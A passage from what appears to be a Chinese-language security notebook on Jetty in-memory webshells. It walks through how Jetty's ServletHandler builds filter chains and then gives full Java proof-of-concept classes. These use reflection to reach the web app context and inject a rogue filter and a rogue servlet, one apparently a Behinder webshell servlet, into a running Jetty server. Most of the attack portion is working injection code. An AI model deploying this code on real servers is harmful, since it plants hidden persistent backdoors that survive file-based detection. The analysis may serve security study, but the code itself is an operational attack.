    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {

    }
}

image-20250916125339073

image-20250916125409546

Jetty filter

环境搭建参考

在servlet处下断点,运行一下看调用栈

image-20250916161859364

主要看filter的逻辑

image-20250916162130822

跟tomcat 一样,也是会调用一个chain的doFilter,看一下chain如何获取,是ServletHandler#getFilterChain

image-20250916162447439

protected FilterChain getFilterChain(Request baseRequest, String pathInContext, ServletHolder servletHolder)
    {
        Objects.requireNonNull(servletHolder);
        String key = pathInContext == null ? servletHolder.getName() : pathInContext;
        int dispatch = FilterMapping.dispatch(baseRequest.getDispatcherType());

        if (_filterChainsCached)
        {
            FilterChain chain = _chainCache[dispatch].get(key);
            if (chain != null)
                return chain;
        }

        // Build the filter chain from the inside out.
        // ie first wrap the servlet with the last filter to be applied.
        // The mappings lists have been reversed to make this simple and fast.
        FilterChain chain = null;

        if (_filterNameMappings != null && !_filterNameMappings.isEmpty())
        {
            if (_wildFilterNameMappings != null)
                for (FilterMapping mapping : _wildFilterNameMappings)
                    chain = newFilterChain(mapping.getFilterHolder(), chain == null ? new ChainEnd(servletHolder) : chain);

            List<FilterMapping> nameMappings = _filterNameMappings.get(servletHolder.getName());
            if (nameMappings != null)
            {
                for (FilterMapping mapping : nameMappings)
                {
                    if (mapping.appliesTo(dispatch))
                        chain = newFilterChain(mapping.getFilterHolder(), chain == null ? new ChainEnd(servletHolder) : chain);
                }
            }
        }

        if (pathInContext != null && _filterPathMappings != null)
        {
            for (FilterMapping mapping : _filterPathMappings)
            {
                if (mapping.appliesTo(pathInContext, dispatch))
                    chain = newFilterChain(mapping.getFilterHolder(), chain == null ? new ChainEnd(servletHolder) : chain);
            }
        }

        if (_filterChainsCached)
        {
            final Map<String, FilterChain> cache = _chainCache[dispatch];
            // Do we have too many cached chains?
            if (_maxFilterChainsCacheSize > 0 && cache.size() >= _maxFilterChainsCacheSize)
            {
                // flush the cache
                LOG.debug("{} flushed filter chain cache for {}", this, baseRequest.getDispatcherType());
                cache.clear();
            }
            chain = chain == null ? new ChainEnd(servletHolder) : chain;
            // flush the cache
            LOG.debug("{} cached filter chain for {}: {}", this, baseRequest.getDispatcherType(), chain);
            cache.put(key, chain);
        }
        return chain;
    }

Jetty 获取filter chain的逻辑

  1. 根据请求路径/servletName 和 dispatcherType 生成 key。
  2. 先查缓存,有就直接用。
  3. 否则遍历所有 filter mapping:
    • 匹配 所有 servlet 的 filter(通配)。
    • 匹配 特定 servlet 的 filter(<servlet-name>)。
    • 匹配 URL pattern 的 filter(<url-pattern>)。
  4. 逐个把匹配的 filter 包装起来形成 FilterChain
  5. 缓存并返回。

而filter chain是遍历_filterPathMappings获取的,所以首先需要中获取到当前的ServletHandler然后获取到_filterPathMappings,然后添加filter内存马。

ServletHandler类似于tomcat里面的上下文

网上看到获取方法如下

Jetty内存马 | DailyNotes

Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread : threads) {
    threadClassLoader = thread.getContextClassLoader();
    if (threadClassLoader != null) {
        if (threadClassLoader.toString().contains("WebAppClassLoader")) {
            Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
            fieldContext.setAccessible(true);
            Object webAppContext = fieldContext.get(threadClassLoader);
            Field fieldServletHandler = webAppContext.getClass().getSuperclass().getSuperclass().getDeclaredField("_servletHandler");
            try {
            } catch (Exception e) {
            }
        }
    }
}
}

拿到servletHandler然后反射获取_filterPathMappings

这个_filterPathMappings是FilterMapping数组,所以需要实例化FilterMapping放到_filterPathMappings里面

主要是_filterName _holder _pathSpacs属性

image-20250916165826577

都有对应的setter方法,所以可以直接反射调用setter方法构造filterMappings

其中_filterName就是过滤器名字

image-20250916170043198

_holder包含过滤器信息,其中也包含了过滤器名字

_pathSpecs存放的就是一个path数组

所以反射创建一个filerMapping代码如下

Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);
filterPathMappings.add(filterMapping);

然后还需要将一个filter封装成holder

image-20250916174901729

通过handler的newFilterHolder创建

image-20250916175110428

package com.example.demo;

import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;

import javax.management.ObjectName;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Set;
import java.util.EnumSet;

/**
 * @ClassName fuckFilter
 * @Description
 * @Author Xutao
 * @Date 2025年09月16日 17:07
 * @Version 1.0
 */
public class fuckFilter extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res)  {

        try {

            String filterName = "myFilter1";
            String urlPattern = "/hello";


            Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
            threadMethod.setAccessible(true);
            Thread[] threads = (Thread[]) threadMethod.invoke(null);
            ClassLoader threadClassLoader = null;
            for (Thread thread:threads)
            {
                threadClassLoader = thread.getContextClassLoader();
                if(threadClassLoader != null){
                    if(threadClassLoader.toString().contains("WebAppClassLoader")){
                        Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
                        fieldContext.setAccessible(true);
                        Object webAppContext = fieldContext.get(threadClassLoader);


                        try {
                            // 获取 _servletHandler 字段
                            Field fieldServletHandler = webAppContext.getClass().getSuperclass().getSuperclass().getDeclaredField("_servletHandler");
                            fieldServletHandler.setAccessible(true);
                            Object servletHandler = fieldServletHandler.get(webAppContext);
                            Field fieldFilters = servletHandler.getClass().getDeclaredField("_filters");
                            fieldFilters.setAccessible(true);
                            Object[] filters = (Object[]) fieldFilters.get(servletHandler);
                            boolean flag = false;
                            for(Object f:filters){
                                Field fieldName = f.getClass().getSuperclass().getDeclaredField("_name");
                                fieldName.setAccessible(true);
                                String name = (String) fieldName.get(f);
                                if(name.equals(filterName)){
                                    flag = true;
                                    break;
                                }
                            }
                            if(flag){
                                return;
                            }
                            ClassLoader classLoader = servletHandler.getClass().getClassLoader();
                            Class sourceClazz = null;
                            Object holder = null;
                            Field field = null;
                            try{
                                sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
                                field = sourceClazz.getDeclaredField("JAVAX_API");
                                Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
                                holder = method.invoke(servletHandler, field.get(null));
                            }catch(ClassNotFoundException e){
                                sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
                                Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
                                holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
                            }
                            holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
                            holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, new myfilter());
                            servletHandler.getClass().getMethod("addFilter", holder.getClass()).invoke(servletHandler, holder);

                            Class  clazz         = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
                            Object filterMapping = clazz.newInstance();
                            Method method        = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
                            method.setAccessible(true);
                            method.invoke(filterMapping, holder);
                            filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
                            filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
                            servletHandler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(servletHandler, filterMapping);
                        } catch (NoSuchFieldException e) {
                        }
                    }
                }
            }
        }catch (Exception e) {
            e.printStackTrace();
        }
        }

}

image-20250916181048061

image-20250916183052856

image-20250916183007067

jetty servlet

ServletHandler里面不仅有_filterpathMappings还有_servletMappings以及_servlets数组,所有可以尝试添加servlet内存马

image-20250917153640519

可以找到两个方法可以写入_servletsdoStop setServlets

doStop是确保_servlets只有通过jetty API添加的servlets,主要看setServlets

public synchronized void setServlets(ServletHolder[] holders)
{
    if (holders != null)
        initializeHolders(holders);
    updateBeans(_servlets, holders);
    _servlets = holders;
    updateNameMappings();
    invalidateChainsCache();
}

可以添加ServletHolder,逻辑和添加FilterHoler一样

//获取ServletHolder
Servlet servlet = new BehinderServlet();
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object servletHolder = constructor2.newInstance();

Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);
setFilter.invoke(servletHolder, servlet);

Method setName = servletHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(servletHolder, ServletName);

//装载_servlet
Method addServlet = servletHandler.getClass().getDeclaredMethod("addServlet", servletHolder.getClass());
addServlet.setAccessible(true);
addServlet.invoke(servletHandler, servletHolder);

poc如下

package com.example.demo;

import com.memshell.generic.myservlet;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;

import javax.management.ObjectName;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.Servlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Set;
import java.util.EnumSet;

/**
 * @ClassName fuckFilter
 * @Description
 * @Author Xutao
 * @Date 2025年09月16日 17:07
 * @Version 1.0
 */
public class fuckservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res)  {

        try {

            String ServletName = "fuckServlet";
             String url = "/ser";


            Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
            threadMethod.setAccessible(true);
            Thread[] threads = (Thread[]) threadMethod.invoke(null);
            ClassLoader threadClassLoader = null;
            for (Thread thread:threads)
            {
                threadClassLoader = thread.getContextClassLoader();
                if(threadClassLoader != null){
                    if(threadClassLoader.toString().contains("WebAppClassLoader")){
                        Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
                        fieldContext.setAccessible(true);
                        Object webAppContext = fieldContext.get(threadClassLoader);


                        try {
                            // 获取 _servletHandler 字段
                            Field fieldServletHandler = webAppContext.getClass().getSuperclass().getSuperclass().getDeclaredField("_servletHandler");
                            fieldServletHandler.setAccessible(true);
                            Object servletHandler = fieldServletHandler.get(webAppContext);
                            Field fieldFilters = servletHandler.getClass().getDeclaredField("_servlets");
                            fieldFilters.setAccessible(true);
                            Object[] filters = (Object[]) fieldFilters.get(servletHandler);
                            boolean flag = false;
                            for(Object f:filters){
                                Field fieldName = f.getClass().getSuperclass().getDeclaredField("_name");
                                fieldName.setAccessible(true);
                                String name = (String) fieldName.get(f);
                                if(name.equals(ServletName)){
                                    flag = true;
                                    break;
                                }
                            }
                            if(flag){
                                return;
                            }
                            ClassLoader classLoader = servletHandler.getClass().getClassLoader();
                            Class sourceClazz = null;
                            Object holder = null;
                            Field field = null;
                            try{
                                sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
                                field = sourceClazz.getDeclaredField("JAVAX_API");
                                Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
                                holder = method.invoke(servletHandler, field.get(null));
                            }catch(ClassNotFoundException e){
                                sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
                                Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
                                holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
                            }

                            holder.getClass().getMethod("setName", String.class).invoke(holder, ServletName);

                            holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, new myservlet());
                            servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);


                            Class  clazz         = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
                            Object servletMapping = clazz.newInstance();

                            Method setFilterName = servletMapping.getClass().getDeclaredMethod("setServletName", String.class);
                            setFilterName.invoke(servletMapping, ServletName);
                            Method setPathSpec = servletMapping.getClass().getDeclaredMethod("setPathSpec", String.class);
                            setPathSpec.invoke(servletMapping, url);
                            Method addServletMapping = servletHandler.getClass().getDeclaredMethod("addServletMapping", servletMapping.getClass());
                            addServletMapping.setAccessible(true);
                            addServletMapping.invoke(servletHandler,servletMapping);
                        } catch (NoSuchFieldException e) {
                        }
                    }
                }
            }
        }catch (Exception e) {
            e.printStackTrace();
        }
    }

}